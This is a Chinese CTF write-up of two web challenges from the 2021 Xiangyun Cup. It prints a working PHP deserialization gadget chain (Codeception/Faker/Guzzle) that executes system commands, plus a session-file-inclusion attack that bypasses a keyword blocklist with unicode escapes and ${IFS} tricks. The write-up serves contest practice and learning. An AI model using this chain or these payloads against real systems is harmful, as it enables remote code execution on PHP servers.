2021祥云杯web题解

前言

就做了俩题,另外一题还是赛后半小时后才做出来,太太太太太太太太太太太菜了

ezyii

网上有现成的链子 拿到直接打就行了,后面在研究一下过程吧

<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');phpinfo(); };
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

安全检测

这题的就在于扫扫扫扫描。。。。。。也就是信息收集

首先是

.login.php.swp

有源码,然后username可控

<?php
//error_reporting(0);
ob_start();
session_start();

function check3($username){
$pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .= "|select|insert|update|delete|load_file|into outfile|drop";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag";
$pattern .="|file|dict|gopher";

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $username )){
echo "检测到恶意字符";
exit(0);
}
}
}

$username=file_get_content("php://input");
check3($username);
$username=json_decode($username)->username;


if($username){
$_SESSION['user1']=$username;
Header("Location:./index.php");
ob_end_flush();
exit(0);
}


?>

可以发现session_start()函数,username又存入session中,大概率就是session文件包含了,于是再找找哪里能继续包含内容
img
在后面输入url窗口那里,发现输入这个,可以读到include123.php

127.0.0.1/admin/include123.php
img 然后这里就有一个include函数,那么就可以实现session文件包含了

解法一:

利用username进行session文件包含,由于后面使用了json_decode,所以我们可以使用unioncode编码输入内容,这样就就可以绕过前面的过滤了
PS:一开始一直没成功,后面才知道是实体化编码的问题,输入的内容虽然可以正常显示 但已经不是原本的东西了,其中就是<这个编码错误了,这个是学长给的unioncode编码脚本,用这个就行了

def UNICODE(payload):
#unicode
res_payload = ""
for i in payload:
i = "\\u00{}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to UNICDOE: \"{}\"".format(payload,res_payload))

直接上网站加密就没成功了。。看下面这个
img

payload

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)

解法二:

可以看到我们输入的链接最终也会在session文件里面出现,所以此时我们可以利用这个链接进行文件包含

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)&a=<?system('ls');?>

但是需要注意的是不能有空格,会被直接截断!,所以后面可以使用这个进行绕过

cat${IFS}$/fl""ag
img img

小结

还是太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太菜了,要走的路还很远,好好加油
反思一下这次这个安全监测应该可以很快做出来的,主要是信息收集得不行,太慢了,而且换了好几个工具有必要更新一下字典之类的了!

Author

vague huang

Posted on

2021-08-30

Updated on

2021-08-30

Licensed under

Comments